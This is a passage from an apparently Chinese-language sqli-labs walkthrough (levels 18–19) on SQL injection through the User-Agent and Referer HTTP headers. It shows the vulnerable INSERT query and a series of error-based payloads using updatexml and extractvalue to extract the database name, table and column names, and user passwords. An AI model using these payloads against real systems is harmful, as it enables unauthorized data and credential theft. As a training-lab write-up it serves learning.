User-Agent: ' or extractvalue(1,concat('!',(select concat(username,2,password)from users limit 0,1))),1,1)#
User-Agent: ' or extractvalue(1,concat(0x7e,database())),1,1)#
为什么要用 or 或 and 连接:
因为使用了报错注入,所以需要使用or或and来闭合原语句并插入的注入语句。
less19 头部注入-Referer
后端可以注入的语句
1
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
相比上一关只有两个参数,所以可以这样
1 2 3 4 5 6 7 8 9
Referer: ' or updatexml(1,concat('!',(databass())),1),2)# //爆数据库
Referer: ' or updatexml(1,concat('!',(select group_concat(table_name)from information_schema.tables where table_schema='security')),1),2)# //爆表名
Referer: ' or updatexml(1,concat('!',(select concat(column_name)from information_schema.columns where table_name='users' and table_schema='security' limit 0,1)),1),2)# //分段回显
Referer: ' or updatexml(1,concat('!',(select concat(id,username,'!',password)from users limit 0,1)),1),2)# //最后一行行爆
也可以这样
1
Referer: ' or extractvalue(1,concat(0x7e,database())) or'